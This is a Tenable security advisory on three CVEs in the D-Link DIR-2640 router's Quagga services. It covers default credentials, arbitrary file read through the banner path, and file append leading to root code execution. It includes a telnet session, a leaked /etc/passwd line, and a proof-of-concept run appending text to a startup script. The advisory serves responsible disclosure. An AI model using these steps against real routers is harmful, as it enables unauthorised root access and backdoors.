tenable

Critical Vulnerabilities on the D-Link DIR-2640 Router

High

← View More Research Advisories

Synopsis

Default password on Quagga Service (CVE-2021-20132)

CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H **(Base Score 8.8)**

D-Link's DIR-2640 router, with the latest firmware (**1.11B02**) enables the Quagga network configuration services by default, with /sbin/zebra listening on tcp port 2601 and /sbin/ripd listening on tcp port 2602. These services are configured to use a default password for both accessing the command line interface *and* escalating privileges with the **enable** command. This password can be easily discovered, and used to gain complete control of both services, *each of which are running with root privileges* (that is, as the **admin** user, with **UID 0**).

```
$ telnet 192.168.0.1 2601
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

Hello, this is Quagga (version 1.1.1).
Copyright 1996-2005 Kunihiro Ishiguro, et al.


User Access Verification

Password:
Router> enable
Password:
Router# configure terminal
Router(config)#
  access-list  Add an access list entry
  banner       Set banner string
  debug        Debugging functions (see also 'undebug')
  default      Configure defaults of settings
  enable       Modify enable password parameters
  end          End current mode and change to enable mode.
  exit         Exit current mode and down to previous mode
  fpm          fpm connection remote ip and port
  help         Description of the interactive help system
  hostname     Set system's network name
  interface    Select an interface to configure
  ip           IP information
  ipv6         IPv6 information
  line         Configure a terminal line
  list         Print command list
  log          Logging control
  no           Negate a command or set its defaults
  password     Assign the terminal connection password
  quit         Exit current mode and down to previous mode
  route-map    Create route-map or enter route-map command mode
  router-id    Manually set the router-id
  service      Set up miscellaneous service
  show         Show running system information
  table        Configure target kernel routing table
  vrf          Enable a VRF
  write        Write running configuration to memory, network, or terminal
Router(config)#
```

Arbitrary file read and denial of service (CVE-2021-20133)

CVSSv3 Vector: AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H **(Base Score 6.1)**

An attacker can read a large portion of any text file on the filesystem (since the daemon runs with root privileges) by dropping into the configuration terminal interface and then setting the path for the "message of the day" banner to any file on the system. A sensitive file such as /etc/passwd can be declared the "message of the day" in this fashion, and read by the attacker when they next connect to the service.

This will set the "message of the day" banner to contents of /etc/passwd. By logging back in, the attacker can retrieve the contents of the file. Long filess may be displayed only in part, and binary data will likely be corrupted, but reasonably short text files in the ASCII encoding can be read in their entirety in this fashion.

```
root:x:2:600:Linux User,,,:/home/root:/bin/sh
```

If the attacker sets the "message of the day" path to a special device such as **/dev/urandom**, then they can bring about a **denial of service** to the Quagga cli interface.

Arbitrary file append (CVE-2021-20134)

CVSSv3 Vector: AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H **(Base Score 8.4)**

An attacker can append to any file they wish in the Quagga command line interface by, again, entering the configuration terminal and then setting the path for the log file to any file they wish on the system. They can then issue a log message with the command **logmsg alerts**, which will be appended to the end of that file, following a short prefix. By appending to the end of a shell script, for instance, the attacker can achieve **remote code execution** as root (i.e., "admin"), so long as they are able to either trigger the execution of that script, or wait until the script is executed. This technique can be used to install a backdoor on the router.

```
$ ./append_to_file.exp /mydlink/mydlink_watchdog.sh "; this could be anything"
$ ./read_file.exp /mydlink/mydlink_watchdog.sh | tail

  if [ "1" -eq "$DEV_LIST_DECODED" ]; then
    check_memory
  fi

  sleep $UNIT_CHECK_T
done
) &
2021/12/28 22:20:50 ZEBRA: ; this could be anything

$
```

Solution

This vulnerability remains unpatched at the time of writing. An intrepid user could, **at their own risk**, craft a shell command to disable the Quagga zebra and ripd services and then use the file-append vulnerability to write that command to the end of script that they know will be executed whenever the device is rebooted. In order for this to work, the target script would have to reside on one of the device's *persistent* filesystems, or the modifications would not survive a reboot. It is also possible to use the **denial of service** vulnerability described in the Synopsis to *temporalily* block access to either service.

Disclosure Timeline

September 24, 2021 - Tenable notifies D-Link of vulnerabilities and explains disclosure policy
September 24, 2021 - D-Link acknowledges notification
October 14, 2021 - D-Link requests additional details
October 14, 2021 - Tenable provides D-Link with complete proof-of-concept scripts
October 14, 2021 - D-Link acknowledges receipt of scripts
October 17, 2021 - D-Link provides Tenable with patched firmware image to review
October 26, 2021 - Tenable responds to D-Link with analysis and criticism of proposed patch, which remains vulnerable
October 27, 2021 - D-Link acknowledges receipt of feedback
December 28, 2021 - Advisory Published

Risk Information

CVE ID: CVE-2021-20132
CVE-2021-20133
CVE-2021-20134
Tenable Advisory ID: TRA-2021-44
Credit: Olivia Fraser

CVSSv3 Base / Temporal Score: 8.8 / 8.6
CVSSv3 Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Additional Keywords : RCE
routers
default credentials
Affected Products: D-Link DIR-2640 with Firmware Version <= 1.11B02
Risk Factor: High

Advisory Timeline

December 28, 2021 - Advisory Published
December 29, 2021 - Advisory Updated

Tenable.io Vulnerability Management
Tenable.io Web App Scanning
Tenable.asm External Attack Surface
Tenable.ad Active Directory
Tenable.ot Operational Technology
Tenable.sc Security Center
Tenable Lumin
Nessus
→ View all Products

FEATURED SOLUTIONS

Application Security
Building Management Systems
Cloud Security Posture Management
Compliance
Exposure Management
Finance
Healthcare
IT/OT
Ransomware
State / Local / Education
US Federal
Vulnerability Management
Zero Trust
→ View all Solutions

CUSTOMER RESOURCES

Resource Library
Community & Support
Customer Education
Tenable Research
Documentation
Trust and Assurance
Nessus Resource Center
Cyber Exposure Fundamentals
System Status

CONNECTIONS

Blog
Contact Us
Careers
Investors
Events
Media